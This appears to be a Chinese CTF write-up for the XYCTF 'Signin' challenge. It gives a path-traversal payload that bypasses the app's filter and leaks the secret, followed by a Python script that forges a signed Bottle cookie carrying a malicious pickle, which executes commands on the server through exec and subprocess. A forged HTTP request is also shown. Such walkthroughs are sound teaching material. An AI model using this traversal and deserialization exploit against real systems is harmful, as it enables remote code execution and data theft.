目录穿越 + pickle反序列化 -- xyctf Signin WP

源代码

# -*- encoding: utf-8 -*-
'''
@File    :   main.py
@Time    :   2025/03/28 22:20:49
@Author  :   LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
secret = 'a'app = Bottle()
@route('/')
def index():return '''HI'''
@route('/download')
def download():name = request.query.filenameif '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:response.status = 403return 'Forbidden'with open(name, 'rb') as f:data = f.read()return data@route('/secret')
def secret_page():try:session = request.get_cookie("name", secret=secret)if not session or session["name"] == "guest":session = {"name": "guest"}response.set_cookie("name", session, secret=secret)return 'Forbidden!'if session["name"] == "admin":return 'The secret has been deleted!'except:return "Error!"
run(host='0.0.0.0', port=8080, debug=True)

先使用目录穿越获得密钥

/download?filename=./.././../secret.txt

审计库源代码发现存在反序列化漏洞

def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):"""获取 cookie 的值。如果要读取一个“签名的 Cookie”,则 `secret` 必须与创建 cookie 时使用的密钥一致(参见 BaseResponse.set_cookie 方法)。如果读取失败(cookie 不存在或签名不正确),则返回默认值 `default`。"""# 从 self.cookies 中获取名为 key 的 cookie 值value = self.cookies.get(key)# 如果提供了 secret,说明需要验证签名(签名的 Cookie)if secret:# 检查 cookie 是否存在,并且以 '!' 开头,同时包含 '?'# 这是签名 cookie 的格式标志,例如: "!签名?内容"if value and value.startswith('!') and '?' in value:# 拆分签名和消息部分,并将其转为字节sig, msg = map(tob, value[1:].split('?', 1))# 使用提供的 secret 和消息体生成 HMAC 签名hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()# 将生成的签名进行 base64 编码,与传入的签名进行比较if _lscmp(sig, base64.b64encode(hash)):# 签名验证通过后,对消息部分进行 base64 解码,然后反序列化dst = pickle.loads(base64.b64decode(msg))# 确保反序列化后的对象是一个包含 key 和值的元组,并且 key 匹配if dst and dst[0] == key:return dst[1]  # 返回解密后的 cookie 值# 如果任何一步失败,则返回默认值return default# 如果没有启用签名验证,直接返回原始的 cookie 值或默认值return value or default

伪造cookie,诱导反序列化即可

import pickle
import hmac
import hashlib
import base64
from bottle import tobclass Evil:def __reduce__(self):return exec, ("""
result = __import__('subprocess').run(['cat','/flag_dda2d465-af33-4c56-8cc9-fd4306867b70'], capture_output=True
)
encoded = __import__('base64').b64encode(result.stdout).decode()
__import__('bottle').response.headers['X-Output'] = encoded
""",)
e = Evil()
msg = base64.b64encode(pickle.dumps(e))secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
hash = hmac.new(tob(secret), msg, digestmod=hashlib.sha256).digest()
hash = base64.b64encode(hash)print(f"""Cookie: name=\"!{str(hash)[2:-1]}?{str(msg)[2:-1]}\"""")
GET /secret HTTP/1.1
Host: eci-2ze137gfkzlk51q14vk4.cloudeci1.ichunqiu.com:5000
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: name="!kpUxGGuOD8bX1H3YEkAMzPPZiaECBAtXUDgyz110yfs=?gASVFgEAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIz6CnJlc3VsdCA9IF9faW1wb3J0X18oJ3N1YnByb2Nlc3MnKS5ydW4oCiAgICBbJ2NhdCcsJy9mbGFnX2RkYTJkNDY1LWFmMzMtNGM1Ni04Y2M5LWZkNDMwNjg2N2I3MCddLCAKICAgIGNhcHR1cmVfb3V0cHV0PVRydWUKKQplbmNvZGVkID0gX19pbXBvcnRfXygnYmFzZTY0JykuYjY0ZW5jb2RlKHJlc3VsdC5zdGRvdXQpLmRlY29kZSgpCl9faW1wb3J0X18oJ2JvdHRsZScpLnJlc3BvbnNlLmhlYWRlcnNbJ1gtT3V0cHV0J10gPSBlbmNvZGVkCpSFlFKULg=="
Connection: keep-alive

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/74937.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

区块链技术:重塑供应链管理的未来

在当今全球化的商业环境中,供应链管理的复杂性和重要性日益凸显。从原材料采购到产品交付,供应链的每一个环节都可能影响企业的运营效率和客户满意度。随着区块链技术的兴起,供应链管理迎来了新的变革机遇。本文将深入探讨区块链技术在供应链…

ragflow本地部署(WSL下Ubuntu)

本地docker及 docker-compose版本 安装参考: 实践笔记-docker安装及配置镜像源实践笔记-docker-compose安装 1.下载源码 git clone https://github.com/infiniflow/ragflow.git2.运行docker-compose拉取镜像 cd ragflow/docker docker-compose up -d3.启动报错…

LTSPICE仿真电路:(二十六)跨阻放大器简单仿真

1.前言 由于有个机会刚好了解了下跨阻,简单做个这个仿真,实际上跨阻放大器应该要复杂的多,由于跨阻放大器实际上是将电流转换为电压,最需要注意的参数肯定是运放的偏置电流 2.跨阻放大器仿真 这篇是纯记录 这是一个将0-50uA电流…

androd的XML页面 跳转 Compose Activity 卡顿问题

解决 XML 点击跳转到 Compose Activity 卡顿问题 当从 XML 布局的 Activity 跳转到 Compose Activity 时出现卡顿现象,这通常是由以下几个原因导致的: 可能的原因及解决方案 1. Compose 首次初始化开销 问题:Compose 框架首次初始化需要时…

基于Python的二手房数据挖掘与可视化深度分析

一、技术框架与数据概况 1.1 技术栈构成 import pandas as pd # 数据操作(v1.3.5) import numpy as np # 数值计算(v1.21.6) from pyecharts.charts import * # 交互式可视化(v1.9.1) from sklearn.preprocessing import StandardScaler # 数据标准化(可选扩展) …

从数据到成果:R 语言在气象水文全流程中的关键技术应用

R语言在气象、水文中数据处理及结果分析、绘图实践技术应用 R 语言是一门由统计学家开发的用于统计计算和作图的语言(a Statistic Language developed for Statistic by Statistician),由 S 语言发展而来,以统计分析功能见长。R …

2025最快解决root密码忘记问题或重置root密码root密码忘记了怎么办?如何最方便的找回或者重置root密码?

root密码忘记了怎么办?如何最方便的找回或者重置root密码? 1、完全不需要按照网络上的那么麻烦的操作 2、看看我们机房的物理服务器有没有默认的管理地址,如果有的话我们就把自己的电脑调整跟服务器一样的网段,用浏览器访问该服务…

面试题汇总06-场景题线上问题排查难点亮点

面试题汇总06-场景题&线上问题排查&难点亮点 【一】场景题【1】订单到期关闭如何实现【2】每天100w次登录请求,4C8G机器如何做JVM调优?(1)问题描述和分析(2)堆内存设置(3)垃圾收集器选择(4)各区大小设置(5)添加必要的日志【3】如果你的业务量突然提升100倍…

C和C++有什么区别?

C和C是两种不同的编程语言,虽然它们有许多相似之处,但也存在一些关键的区别。 C是一种过程化编程语言,专注于函数和流程控制,非常适合系统级编程。而 C是一种面向对象编程语言,支持类、对象和封装、继承、多态等特性。…

动态规划-杨辉三角

118.杨辉三角 给定一个非负整数 numRows&#xff0c;生成「杨辉三角」的前 numRows 行。输入&#xff1a;int 输出&#xff1a;二元列表 思路&#xff1a; 面向结果编程&#xff01;&#xff01;&#xff01; class Solution {public List<List<Integer>> genera…

powershell绑定按钮事件的两种方式

写一个powershell的简单GUI做本地任务&#xff0c;试验出2个方法&#xff1a; 方法1&#xff1a; function btn1_click {write-host $text1.Text -ForegroundColor Green -BackgroundColor Black }$btn1.Add_Click({btn1_click})方法2&#xff1a; $btn2_click {write-host $…

C++语言的并查集

并查集&#xff08;Union-Find&#xff09;在C中的实现与应用 引言 并查集&#xff08;Union-Find&#xff09;&#xff0c;又称为不相交集合&#xff08;Disjoint Set&#xff09;&#xff0c;是一种用于处理动态连通性问题的数据结构。它的主要功能包括合并两个集合&#x…

基于大模型的病态窦房结综合征预测及治疗方案研究报告

目录 一、引言 1.1 研究背景与目的 1.2 研究意义 二、病态窦房结综合征概述 2.1 定义与病因 2.2 临床表现与分型 2.3 诊断方法 三、大模型在病态窦房结综合征预测中的应用 3.1 大模型介绍 3.2 数据收集与预处理 3.3 模型训练与优化 四、术前预测与准备 4.1 风险预…

2026考研数学张宇武忠祥复习视频课,高数基础班+讲义PDF

2026考研数学武忠祥老师课&#xff08;网盘&#xff09;&#xff1a;点击下方链接 2026考研数学武忠祥网课&#xff08;最新网盘&#xff09; 一、基础阶段&#xff08;3-5个月&#xff09; 目标&#xff1a;搭建知识框架掌握基础题型 教材使用&#xff1a; 高数&#xff1a;…

linux命令二

1.将windows文件上传到linux 将文件传到光驱里&#xff0c;再将光驱进行挂载&#xff0c;mount 2.linux安装的文件存储 普通执行 程序 bin 配置文件 /etc 日志文件 /var/log 3.rpm 主查询 命令&#xff1a;rpm -q 包名 查询已安装的软件包 通过软件 -qa 查询所有已安装的软件包…

k8s的StorageClass存储类和pv、pvc、provisioner、物理存储的链路

k8s的StorageClass存储类和pv、pvc、provisioner、物理存储的链路 StorageClass能自动创建pv 在控制器中&#xff0c;直接声明storageClassName&#xff0c;不仅能自动创建pvc&#xff0c;也能自动创建pv stoageclass来自于provisioner&#xff0c;provisioner来自于pod&#x…

systemd 与 SysVinit

1. 什么是 systemd 和 SysVinit&#xff1f; systemd 和 SysVinit 都是 Linux 的初始化系统&#xff08;init system&#xff09;&#xff0c;用于管理系统启动、服务、进程和日志。 比较项SysVinitsystemd启动方式逐步启动&#xff08;串行&#xff09;并行启动&#xff08;…

QML菜单控件:菜单的常规用法

目录 引言&#x1f4da;相关阅读&#x1f528;BUG修复工程结构示例详解示例1&#xff1a;上下文菜单&#xff08;ContextMenu&#xff09;示例2&#xff1a;菜单栏&#xff08;MenuBar&#xff09;示例3&#xff1a;动态菜单示例4&#xff1a;快捷键菜单示例5&#xff1a;可选项…

【Vue-路由案例】面经基础版

目录 <<回到导览1.面经基础版1.1.VueCli建项目1.1.1.VueCli 自定义项目1.1.2.ESlint代码规范 1.2.项目路由1.2.1.一级路由配置1.2.2.二级配置路由1.2.3.设置高亮1.2.4.发生请求、渲染1.2.5.跳转传参、再发请求1.2.6.体验优化1.2.7.keep-alive <<回到导览 1.面经基…

【T2I】MIGC: Multi-Instance Generation Controller for Text-to-Image Synthesis

code&#xff1a;CVPR 2024 MIGC: Multi-Instance Generation Controller for Text-to-Image Synthesis [CVPR 2024] MIGC: Multi-Instance Generation Controller for Text-to-Image Synthesis - 知乎 Abstract 我们提出了一个多实例生成(Multi-Instance Generation, MIG)任务…